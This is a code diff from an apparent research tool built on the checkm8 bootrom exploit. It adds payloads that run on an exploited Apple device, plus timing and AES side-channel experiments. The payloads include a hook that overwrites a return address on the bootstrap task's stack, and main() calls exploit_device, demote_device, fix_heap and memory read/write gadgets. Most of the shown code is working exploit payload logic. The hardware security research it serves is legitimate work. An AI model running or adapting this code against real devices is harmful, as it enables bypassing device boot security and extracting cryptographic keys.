mov v15.s[0], v30.s[0]
|
||||
|
||||
#mov s30, wzr
|
||||
#mov s31, wzr
|
||||
ret
|
||||
|
||||
fs_routine:
|
||||
fdiv v16.4s, v0.4s, v1.4s
|
||||
fdiv v17.4s, v0.4s, v2.4s
|
||||
fdiv v18.4s, v0.4s, v3.4s
|
||||
fdiv v19.4s, v0.4s, v4.4s
|
||||
fdiv v20.4s, v0.4s, v5.4s
|
||||
fdiv v21.4s, v0.4s, v6.4s
|
||||
fdiv v22.4s, v0.4s, v7.4s
|
||||
fdiv v23.4s, v0.4s, v8.4s
|
||||
fdiv v24.4s, v0.4s, v9.4s
|
||||
fdiv v25.4s, v0.4s, v10.4s
|
||||
fdiv v26.4s, v0.4s, v11.4s
|
||||
fdiv v27.4s, v0.4s, v12.4s
|
||||
fdiv v28.4s, v0.4s, v13.4s
|
||||
fdiv v29.4s, v0.4s, v14.4s
|
||||
fdiv v30.4s, v0.4s, v15.4s
|
||||
|
||||
fdiv v16.4s, v16.4s, v15.4s
|
||||
fdiv v17.4s, v17.4s, v14.4s
|
||||
fdiv v18.4s, v18.4s, v13.4s
|
||||
fdiv v19.4s, v19.4s, v12.4s
|
||||
fdiv v20.4s, v20.4s, v11.4s
|
||||
fdiv v21.4s, v21.4s, v10.4s
|
||||
fdiv v22.4s, v22.4s, v9.4s
|
||||
fdiv v23.4s, v23.4s, v8.4s
|
||||
fdiv v24.4s, v24.4s, v7.4s
|
||||
fdiv v25.4s, v25.4s, v6.4s
|
||||
fdiv v26.4s, v26.4s, v5.4s
|
||||
fdiv v27.4s, v27.4s, v4.4s
|
||||
fdiv v28.4s, v28.4s, v3.4s
|
||||
fdiv v29.4s, v29.4s, v2.4s
|
||||
fdiv v30.4s, v30.4s, v1.4s
|
||||
|
||||
ret
|
||||
60
c8_remote/lib/payload/src/power/floppysleep.c
Normal file
60
c8_remote/lib/payload/src/power/floppysleep.c
Normal file
@@ -0,0 +1,60 @@
|
||||
#include "bootrom_func.h"
|
||||
|
||||
extern uint64_t fs_routine(void);
|
||||
extern uint64_t fs_load(float *dividend, int divisor_base);
|
||||
// extern uint64_t check_subnormal();
|
||||
|
||||
//PAYLOAD_SECTION
|
||||
//unsigned int is_subnormal(float val)
|
||||
//{
|
||||
// unsigned int bytes = *((unsigned int *) &val);
|
||||
// bytes = bytes >> 23u;
|
||||
//
|
||||
// if(bytes & 0x7u)
|
||||
// {
|
||||
// return 0;
|
||||
// }
|
||||
// else return 1;
|
||||
//}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
uint64_t floppysleep_iteration(float *init)
|
||||
{
|
||||
int i;
|
||||
uint64_t start, end, report;
|
||||
|
||||
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (start));
|
||||
fs_load(init, 1);
|
||||
for(i = 0; i < 128; i++) fs_routine();
|
||||
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (end));
|
||||
|
||||
if(2 * end - start - 64 > 0)
|
||||
{
|
||||
timer_register_int(2 * end - start - 64);
|
||||
wfi();
|
||||
}
|
||||
|
||||
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (report));
|
||||
return end - start;
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
uint64_t entry_sync(float *init_ptr)
|
||||
{
|
||||
return floppysleep_iteration(init_ptr);
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_async(uint64_t *args)
|
||||
{
|
||||
float *init_ptr = (float *) args[0];
|
||||
args[0] = 0;
|
||||
|
||||
while(1)
|
||||
{
|
||||
floppysleep_iteration(init_ptr);
|
||||
|
||||
if(args[0] % 1000000 == 0) task_resched();
|
||||
args[0]++;
|
||||
}
|
||||
}
|
||||
33
c8_remote/lib/payload/src/system/cachelib.c
Normal file
33
c8_remote/lib/payload/src/system/cachelib.c
Normal file
@@ -0,0 +1,33 @@
|
||||
#include "bootrom_func.h"
|
||||
#include "dev_cache.h"
|
||||
|
||||
|
||||
PAYLOAD_SECTION
|
||||
unsigned long long l1_experiment()
|
||||
{
|
||||
int i;
|
||||
unsigned long long start, f;
|
||||
volatile unsigned long long val = 0;
|
||||
clean_inv_va((unsigned long long *) &val);
|
||||
|
||||
start = get_ticks();
|
||||
for(i = 0; i < 10000000; i++)
|
||||
{
|
||||
val;
|
||||
clean_inv_va((unsigned long long *) &val);
|
||||
}
|
||||
|
||||
return get_ticks() - start;
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
unsigned long long entry_sync()
|
||||
{
|
||||
return l1_experiment();
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_async()
|
||||
{
|
||||
|
||||
}
|
||||
28
c8_remote/lib/payload/src/system/exit_usb_task.c
Normal file
28
c8_remote/lib/payload/src/system/exit_usb_task.c
Normal file
@@ -0,0 +1,28 @@
|
||||
#include "dev/addr.h"
|
||||
#include "bootrom_func.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_sync(uint64_t addr_hook)
|
||||
{
|
||||
uint64_t *bs_task_sp = ((uint64_t *) ADDR_BOOTSTRAP_TASK + (0x128 / 8));
|
||||
uint64_t *bs_task_stack = (uint64_t *) *bs_task_sp;
|
||||
|
||||
while(1)
|
||||
{
|
||||
if(*bs_task_stack == ADDR_GETDFU_EXIT)
|
||||
{
|
||||
*bs_task_stack = addr_hook;
|
||||
break;
|
||||
}
|
||||
|
||||
bs_task_stack++;
|
||||
}
|
||||
|
||||
*(ADDR_DFU_RETVAL) = -1;
|
||||
*(ADDR_DFU_STATUS) = 1;
|
||||
|
||||
event_notify((struct event *) ADDR_DFU_EVENT);
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_async(){}
|
||||
11
c8_remote/lib/payload/src/system/init_sys.c
Normal file
11
c8_remote/lib/payload/src/system/init_sys.c
Normal file
@@ -0,0 +1,11 @@
|
||||
|
||||
|
||||
void entry_sync()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
void entry_async()
|
||||
{
|
||||
|
||||
}
|
||||
13
c8_remote/lib/payload/src/system/sync.c
Normal file
13
c8_remote/lib/payload/src/system/sync.c
Normal file
@@ -0,0 +1,13 @@
|
||||
#include "dev_util.h"
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_sync()
|
||||
{
|
||||
__asm__("dmb sy");
|
||||
__asm__("ic iallu");
|
||||
__asm__("dsb sy");
|
||||
__asm__("isb");
|
||||
}
|
||||
|
||||
PAYLOAD_SECTION
|
||||
void entry_async(){}
|
||||
315
c8_remote/main.c
315
c8_remote/main.c
@@ -2,16 +2,19 @@
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <math.h>
|
||||
#include <time.h>
|
||||
|
||||
#include "command.h"
|
||||
#include "payload.h"
|
||||
#include "usb_helpers.h"
|
||||
#include "dev/types.h"
|
||||
#include "util/experiments.h"
|
||||
#include "util/host_crypto.h"
|
||||
|
||||
#ifdef CHECKM8_LOGGING
|
||||
|
||||
#include <stdarg.h>
|
||||
#include <execinfo.h>
|
||||
#include <dev/addr.h>
|
||||
|
||||
#endif
|
||||
|
||||
@@ -26,7 +29,7 @@ void checkm8_debug_indent(const char *format, ...)
|
||||
}
|
||||
va_list args;
|
||||
|
||||
va_start (args, format);
|
||||
va_start(args, format);
|
||||
vprintf(format, args);
|
||||
va_end(args);
|
||||
#endif
|
||||
@@ -43,107 +46,142 @@ void checkm8_debug_block(const char *format, ...)
|
||||
#endif
|
||||
}
|
||||
|
||||
void write_aes_utils(struct pwned_device *dev)
|
||||
void record_bern_data(struct bern_data *data)
|
||||
{
|
||||
unsigned char sbox[256] =
|
||||
{
|
||||
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
|
||||
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
|
||||
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
|
||||
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
|
||||
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
|
||||
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
|
||||
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
|
||||
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
|
||||
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
|
||||
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
|
||||
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
|
||||
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
|
||||
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
|
||||
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
|
||||
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
|
||||
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
|
||||
};
|
||||
int j, b;
|
||||
double u[16][256];
|
||||
double udev[16][256];
|
||||
double taverage;
|
||||
|
||||
unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
|
||||
FILE *outfile;
|
||||
char linebuf[256];
|
||||
|
||||
unsigned char mul2_lookup[256] =
|
||||
{
|
||||
0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
|
||||
0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e,
|
||||
0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e,
|
||||
0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e,
|
||||
0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e,
|
||||
0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe,
|
||||
0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde,
|
||||
0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe,
|
||||
0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05,
|
||||
0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25,
|
||||
0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45,
|
||||
0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65,
|
||||
0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85,
|
||||
0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5,
|
||||
0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5,
|
||||
0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5
|
||||
};
|
||||
printf("have count %lli k\n", data->count / 16 / 100000);
|
||||
taverage = data->ttotal / (double) data->count;
|
||||
|
||||
unsigned char mul3_lookup[256] =
|
||||
{
|
||||
0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11,
|
||||
0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21,
|
||||
0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71,
|
||||
0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41,
|
||||
0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1,
|
||||
0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1,
|
||||
0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1,
|
||||
0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81,
|
||||
0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a,
|
||||
0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba,
|
||||
0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea,
|
||||
0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda,
|
||||
0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a,
|
||||
0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a,
|
||||
0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a,
|
||||
0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
|
||||
};
|
||||
|
||||
struct dev_cmd_resp *resp;
|
||||
|
||||
resp = write_gadget(dev, 0x180154000, sbox, 256);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
printf("failed to write sbox\n");
|
||||
for(b = 0; b < 256; b++)
|
||||
{
|
||||
u[j][b] = data->t[j][b] / data->tnum[j][b];
|
||||
udev[j][b] = data->tsq[j][b] / data->tnum[j][b];
|
||||
udev[j][b] -= u[j][b] * u[j][b];
|
||||
udev[j][b] = sqrt(udev[j][b]);
|
||||
}
|
||||
}
|
||||
|
||||
sprintf(linebuf, "dat_%lli.dat", data->count / 16 / 100000);
|
||||
outfile = fopen(linebuf, "w+");
|
||||
if(outfile == NULL)
|
||||
{
|
||||
printf("failed to open data file\n");
|
||||
return;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
resp = write_gadget(dev, 0x180154000 + 256, rc_lookup, 11);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
for(j = 0; j < 16; j++)
|
||||
{
|
||||
printf("failed to write rc lookup\n");
|
||||
for(b = 0; b < 256; b++)
|
||||
{
|
||||
sprintf(linebuf,
|
||||
"%2d %3d %lli %f %f %f %f\n",
|
||||
j, b, (long long) data->tnum[j][b],
|
||||
u[j][b], udev[j][b],
|
||||
u[j][b] - taverage, udev[j][b] / sqrt(data->tnum[j][b]));
|
||||
fputs(linebuf, outfile);
|
||||
}
|
||||
}
|
||||
|
||||
fclose(outfile);
|
||||
}
|
||||
|
||||
void run_corr_exp(struct pwned_device *dev, char *fname)
|
||||
{
|
||||
int i, j, iter = 0;
|
||||
char dat_fname[32];
|
||||
FILE *outfile;
|
||||
DEV_PTR_T addr_async_buf;
|
||||
|
||||
struct aes_constants *c = get_constants();
|
||||
struct corr_data *data;
|
||||
|
||||
unsigned char msg[16];
|
||||
unsigned char key[16];
|
||||
unsigned char key_sched[176];
|
||||
|
||||
sprintf(dat_fname, "KEY");
|
||||
outfile = fopen(dat_fname, "w+");
|
||||
if(outfile == NULL)
|
||||
{
|
||||
printf("failed to open key file\n");
|
||||
return;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
resp = write_gadget(dev, 0x180154000 + 256 + 16, mul2_lookup, 256);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
srand(time(NULL));
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
printf("failed to write mul2 lookup\n");
|
||||
return;
|
||||
msg[i] = 0;
|
||||
key[i] = random();
|
||||
fprintf(outfile, "%02x", key[i]);
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
resp = write_gadget(dev, 0x180154000 + 512 + 16, mul3_lookup, 256);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
fprintf(outfile, "\n");
|
||||
fflush(outfile);
|
||||
fclose(outfile);
|
||||
|
||||
expand_key(key, key_sched, 11, c);
|
||||
|
||||
addr_async_buf = setup_corr_exp(dev, key);
|
||||
printf("got async buf ptr %llx\n", addr_async_buf);
|
||||
if(addr_async_buf == DEV_PTR_NULL) return;
|
||||
|
||||
while(1)
|
||||
{
|
||||
printf("failed to write mul3 lookup\n");
|
||||
return;
|
||||
sprintf(dat_fname, "%s_%i.bin", fname, iter);
|
||||
outfile = fopen(dat_fname, "wb+");
|
||||
if(outfile == NULL)
|
||||
{
|
||||
printf("failed to open outfile\n");
|
||||
return;
|
||||
}
|
||||
|
||||
for(j = 0; j < 375; j++)
|
||||
{
|
||||
data = get_corr_exp_data(dev, addr_async_buf);
|
||||
if(data->num_cutoff != 0)
|
||||
printf("more than 0 entries were cutoff\n");
|
||||
|
||||
for(i = 0; i < N_CORR_ENTRIES; i++)
|
||||
{
|
||||
fwrite(msg, 1, sizeof(msg), outfile);
|
||||
fwrite("\x00", 1, 1, outfile);
|
||||
fwrite(&data->data[i], 1, 1, outfile);
|
||||
fwrite("\x00\x00", 1, 2, outfile);
|
||||
|
||||
aes128_encrypt_ecb(msg, 16, key_sched, c);
|
||||
}
|
||||
|
||||
fflush(outfile);
|
||||
for(i = 0; i < 16; i++)
|
||||
{
|
||||
if(msg[i] != data->msg[i])
|
||||
{
|
||||
printf("aes error! message mismatch\n");
|
||||
free(data);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
free(data);
|
||||
}
|
||||
|
||||
fclose(outfile);
|
||||
iter++;
|
||||
if(iter == 46) break;
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
struct dev_cmd_resp *resp;
|
||||
struct pwned_device *dev = exploit_device();
|
||||
if(dev == NULL || dev->status == DEV_NORMAL)
|
||||
{
|
||||
@@ -151,90 +189,33 @@ int main()
|
||||
return -1;
|
||||
}
|
||||
|
||||
unsigned char key[16] = {0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef, 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd,
|
||||
0xef};
|
||||
unsigned char data[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe,
|
||||
0xef};
|
||||
open_device_session(dev);
|
||||
|
||||
|
||||
if(IS_CHECKM8_FAIL(open_device_session(dev)))
|
||||
{
|
||||
printf("failed to open device session\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_SYNC, SRAM)))
|
||||
{
|
||||
printf("failed to install sync payload\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(IS_CHECKM8_FAIL(install_payload(dev, PAYLOAD_AES_SW, SRAM)))
|
||||
{
|
||||
printf("failed to install task sleep payload\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
resp = write_gadget(dev, 0x180152000, key, 16);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to write key to device\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
resp = write_gadget(dev, 0x180153000, data, 16);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to write aes data\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
resp = execute_payload(dev, PAYLOAD_SYNC, 0, 0);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute sync payload\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
write_aes_utils(dev);
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
int i = 0;
|
||||
while(1)
|
||||
{
|
||||
resp = execute_payload(dev, PAYLOAD_AES_SW, 0, 7,
|
||||
0x180153000, 16, 0x180152000,
|
||||
0x180154000, 0x180154000 + 256,
|
||||
0x180154000 + 256 + 16, 0x180154000 + 512 + 16);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to execute sw AES payload\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("%i) op took %llu", i++, resp->retval);
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
resp = read_gadget(dev, 0x180153000, 16);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
printf("failed to read encrypted data from memory\n");
|
||||
}
|
||||
|
||||
printf(" -> ");
|
||||
for(int j = 0; j < 16; j++)
|
||||
{
|
||||
printf("%02x", resp->data[j]);
|
||||
}
|
||||
printf("\n");
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
usleep(1000000);
|
||||
}
|
||||
demote_device(dev);
|
||||
fix_heap(dev);
|
||||
usb_task_exit(dev);
|
||||
|
||||
close_device_session(dev);
|
||||
|
||||
|
||||
// run_corr_exp(dev, "key00");
|
||||
//
|
||||
// uninstall_all_data(dev);
|
||||
// uninstall_all_payloads(dev);
|
||||
//
|
||||
// // crash!
|
||||
// execute_gadget(dev, 0, 0, 0);
|
||||
free_device(dev);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#include "command.h"
|
||||
#include "tool/command.h"
|
||||
|
||||
#include "checkm8.h"
|
||||
#include "usb_helpers.h"
|
||||
#include "tool/usb_helpers.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
@@ -25,7 +25,7 @@ int dfu_send_data(struct pwned_device *dev, unsigned char *data, long data_len,
|
||||
|
||||
checkm8_debug_indent("\tsending chunk of size %li at index %li\n", amount, index);
|
||||
|
||||
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 5000, trigger);
|
||||
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, &data[index], amount, 0, trigger);
|
||||
if(ret > 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -71,7 +71,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 100, 0);
|
||||
ret = ctrl_transfer(dev, 0x21, 1, 0, 0, nullbuf, 0, 0, 0);
|
||||
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -80,7 +80,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0);
|
||||
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0);
|
||||
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -89,7 +89,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
return cmd_resp;
|
||||
}
|
||||
|
||||
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 100, 0);
|
||||
ret = ctrl_transfer(dev, 0xA1, 3, 0, 0, nullbuf, 6, 0, 0);
|
||||
if(ret >= 0) checkm8_debug_indent("\ttransferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -110,7 +110,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
ret = ctrl_transfer(dev,
|
||||
0xA1, 2, 0xFFFF, 0,
|
||||
resp_buf, response_len + 1,
|
||||
100, 1);
|
||||
0, 1);
|
||||
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -124,7 +124,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
ret = ctrl_transfer(dev,
|
||||
0xA1, 2, 0xFFFF, 0,
|
||||
resp_buf, response_len,
|
||||
100, 1);
|
||||
0, 1);
|
||||
if(ret >= 0) checkm8_debug_indent("\tfinal request transferred %i bytes\n", ret);
|
||||
else
|
||||
{
|
||||
@@ -157,7 +157,7 @@ struct dev_cmd_resp *command(struct pwned_device *dev,
|
||||
#define MEMS_MAGIC 0x6d656d736d656d73ull // 'memsmems'[::-1]
|
||||
#define DONE_MAGIC 0x646f6e65646f6e65ull // 'donedone'[::-1]
|
||||
|
||||
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len)
|
||||
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, unsigned long long addr, unsigned char c, int len)
|
||||
{
|
||||
checkm8_debug_indent("dev_memset(dev = %p, addr = %lx, c = %x, len = %li)\n", dev, addr, c, len);
|
||||
unsigned long long cmd_args[5];
|
||||
@@ -170,7 +170,7 @@ struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsign
|
||||
return command(dev, (unsigned char *) &cmd_args, 5 * sizeof(unsigned long long), 8);
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len)
|
||||
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, unsigned long long dest, unsigned long long src, int len)
|
||||
{
|
||||
checkm8_debug_indent("dev_memset(dev = %p, dest = %lx, src = %lx, len = %li)\n", dev, dest, src, len);
|
||||
unsigned long long cmd_args[5];
|
||||
